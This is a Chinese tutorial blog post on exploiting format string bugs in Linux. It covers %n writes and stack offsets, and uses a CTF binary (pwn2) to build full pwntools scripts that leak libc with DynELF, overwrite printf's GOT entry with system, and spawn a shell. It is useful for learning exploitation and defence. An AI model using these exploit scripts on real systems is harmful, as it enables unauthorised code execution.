Linux 格式化字符串漏洞利用
来源:互联网 发布:工程图纸设计软件 编辑:程序博客网 时间:2024/06/09 23:41
目的是接触一些常见的漏洞,增加自己的视野。格式化字符串危害最大的就两点,一点是leak memory,一点就是可以在内存中写入数据,简单来说就是格式化字符串可以进行内存地址的读写。下面结合着自己的学习经历,把漏洞详细的讲解一下,附上大量的实例。
- 0x01 漏洞简述
- 0x1 简介
- 0x2 产生条件
- 0x02 内存读取
- 0x1 printf 参数格式
- 0x2 堆栈情况
- 0x3 实例分析
- 1计算参数偏移个数
- 1 gdb调试
- 2 利用pwntools计算
- 2利用DynELF实现内存泄露
- 1计算参数偏移个数
- 0x03 内存写入
0x01 漏洞简述
0x1 简介
格式化字符串漏洞是一种常见的漏洞,原理和利用方法也很简单,主要利用方式就是实现内存任意读和写。前提是其中的参数可控。如果要深入理解漏洞必须进行大量的实验。
0x2 产生条件
首先要有一个函数,比如read, 比如gets获取用户输入的数据储存到局部变量中,然后直接把该变量作为printf这类函数的第一个参数值,一般是循环执行
0x02 内存读取
这是泄露内存的过程
0x1 printf 参数格式
这部分来自icemakr的博客32位读'%{}$x'.format(index) // 读4个字节'%{}$p'.format(index) // 同上面'${}$s'.format(index)写'%{}$n'.format(index) // 解引用,写入四个字节'%{}$hn'.format(index) // 解引用,写入两个字节'%{}$hhn'.format(index) // 解引用,写入一个字节'%{}$lln'.format(index) // 解引用,写入八个字节64位读'%{}$x'.format(index, num) // 读4个字节'%{}$lx'.format(index, num) // 读8个字节'%{}$p'.format(index) // 读8个字节'${}$s'.format(index)写'%{}$n'.format(index) // 解引用,写入四个字节'%{}$hn'.format(index) // 解引用,写入两个字节'%{}$hhn'.format(index) // 解引用,写入一个字节'%{}$lln'.format(index) // 解引用,写入八个字节%1$lx: RSI%2$lx: RDX%3$lx: RCX%4$lx: R8%5$lx: R9%6$lx: 栈上的第一个QWORD
0x2 堆栈情况
当printf("%s%d%d%d")
后面没有参数时,会打印后面的堆栈值。如果有read等函数,内存值可控,就可以实现内存任意读、任意写。
在64位环境下的格式化字符串利用又是另一回事,在这里稍微的提一下,以免其他同学在走错道 程序为64位,在64位下,函数前6个参数依次保存在rdi、rsi、rdx、rcx、r8和r9寄存器中(也就是说,若使用”x$”,当1<=x<=6时,指向的应该依次是上述这6个寄存器中保存的数值),而从第7个参数开始,依然会保存在栈中。故若使用”x$”,则从x=7开始,我们就可以指向栈中数据了。
0x3 实例分析
这里选用广东省红帽杯的pwn2来具体说明。
首先看一下IDA反汇编代码
while ( 1 ) { memset(&v2, 0, 0x400u); read(0, &v2, 0x400u); printf((const char *)&v2); fflush(stdout); }
我们发现了read函数,printf函数标准的格式化字符串漏洞。
1计算参数偏移个数
这里有两种方式
(1) gdb调试
在printf之前设置断点,0x0804852E
单步进入sprintf函数中,查看堆栈值
我们发现了我们可控的内存距离sprintf之间的距离为7
(2) 利用pwntools计算
利用FmStr函数计算
from pwn import *# coding:utf-8 # io = process('./pwn2')# io =remote('106.75.93.221', 20003)elf = ELF('./pwn2')def test(payload): io = process('./pwn2') io.sendline(payload) info = io.recv() io.close return infoautofmt = FmtStr(test)print autofmt.offset
2利用DynELF实现内存泄露
在这里我先介绍一下DynELF泄露内存的原理,采用这篇博客里写的
我们应该怎么才能根据已知的函数地址来得到目标函数地址,需要有一下条件
1.我们拥有从Linux发型以来所有版本的 libc 文件
2.我们已知至少两个函数函数在目标主机中的真实地址
那么我们是不是可以用第二个条件去推测目标主机的 libc 版本呢 ?
我们来进行进一步的分析 :
关于条件二 :
这里我们可以注意到 : printf 是可以被我们循环调用的
因此可以进行连续的内存泄露
我们可以将多个 got 表中的函数地址泄露出来 ,
我们这样就可以的至少两个函数的地址 , 条件二满足
关于条件一 :
哈哈~对了 , 这么有诱惑力的事情一定已经有人做过了 , 这里给出一个网站 : http://libcdb.com/ , 大名鼎鼎 pwntools 中的 DynELF 就是根据这个原理运作的
两个条件都满足 , 根据这些函数之间的偏移去筛选出 libc 的版本
这样我们就相当于得到了目标服务器的 libc 文件 , 达到了同样的效果
以上是原理,其实说白了就是要利用能够打印指定内存的函数
#coding:utf-8from pwn import *sh = process('./pwn2')elf = ELF('./pwn2')#计算偏移def test(payload): temp = process('./pwn2') temp.sendline(payload) info = temp.recv() temp.close() return infoauto = FmtStr(test)print auto.offset#泄露内存 因为函数本来可以循环执行所以不用rop链闭合def leak(addr): payload = 'A%9$s'#这里需要注意一下 为了精确泄露内存用字符定下位 payload += 'AAA' payload += p32(addr) sh.sendline(payload) sh.recvuntil('A') content = sh.recvuntil('AAA') # content = sh.recv(4) print content if(len(content) == 3): print '[*] NULL' return '\x00' else: print '[*] %#x ---> %s' % (addr, (content[0:-3] or '').encode('hex')) print len(content) return content[0:-3]#-------- leak systemd = DynELF(leak, elf=ELF('./pwn2'))system_addr = d.lookup('system','libc')#意思是在libc中寻找system地址log.info('system_addr:' + hex(system_addr))
0x03 内存写入
首先分析一个简单点的程序
#include <stdio.h> int main() { int flag=5 ; int *p = &flag; char a[100]; scanf("%s",a); printf(a); if(flag == 2000) { printf("good\n" ); } return 0;}
利用gdb调试一下,在printf处设断点。查看一下堆栈的状况
发现偏移为5 于是构造%010x%010x%010x%01970x%n
这里只是对于flag内存的修改,并没有达到任意修改的效果,任意修改需要计算偏移利用写好内存地址,利用%n直接修改。下面继续pwn2的讲解
在pwntools中有现成的函数可以使用fmtstr_payload
可以实现修改任意内存 fmtstr_payload(auto.offset, {printf_got: system_addr})
(偏移,{原地址:目的地址})
from pwn import *sh = process('./pwn2')elf = ELF('./pwn2')def test(payload): temp = process('./pwn2') temp.sendline(payload) info = temp.recv() temp.close() return infoauto = FmtStr(test)print auto.offsetdef leak(addr): payload = 'A%9$s' payload += 'AAA' payload += p32(addr) sh.sendline(payload) sh.recvuntil('A') content = sh.recvuntil('AAA') # content = sh.recv(4) print content if(len(content) == 3): print '[*] NULL' return '\x00' else: print '[*] %#x ---> %s' % (addr, (content[0:-3] or '').encode('hex')) print len(content) return content[0:-3]#-------- leak systemd = DynELF(leak, elf=ELF('./pwn2'))system_addr = d.lookup('system','libc')log.info('system_addr:' + hex(system_addr))#-------- change GOTprintf_got = elf.got['printf']log.info(hex(printf_got))payload = fmtstr_payload(auto.offset, {printf_got: system_addr})sh.sendline(payload)payload = '/bin/sh\x00'sh.sendline(payload)sh.interactive()
- Linux 格式化字符串漏洞利用
- 格式化字符串漏洞利用 二、格式化函数
- 格式化字符串漏洞利用 三、格式化字符串漏洞
- 格式化字符串漏洞利用 一、引言
- 格式化字符串漏洞利用 五、爆破
- 格式化字符串漏洞利用 六、特殊案例
- 格式化字符串漏洞利用 七、工具
- 学习记录:格式化字符串漏洞利用
- 格式化字符串漏洞利用 四、利用的变体
- 格式化字符串漏洞
- 格式化字符串漏洞实验
- 格式化字符串漏洞简介
- 实践格式化字符串漏洞
- 格式化字符串漏洞攻击
- [转载]格式化字符串漏洞实验
- 格式化字符串漏洞泄露StackCanary
- 格式化字符串漏洞执行任意代码分析
- 漏洞挖掘基础之格式化字符串
- 关于Error:Error converting bytecode to dex:
- Markdown基本语法
- Need ACCESS_COARSE_LOCATION or ACCESS_FINE_LOCATION permission to get scan r
- 图像放缩中最近邻插值和双线性插值的基本原理
- 1.5处理文本输入
- Linux 格式化字符串漏洞利用
- linux下的atexit()函数
- [hibernate]ssh整合中的错误:Bean property 'sessionFactory' is not writable or
- SpringMVC拦截器
- Linux配置JForum的一些常用命令及操作
- HBase配置snappy
- MySql 命令,语法(持续更新中…..欢迎大家在下面留言)
- python装饰器的4中类型:函数装饰函数、函数装饰类、类装饰函数、类装饰类
- 什么是IDE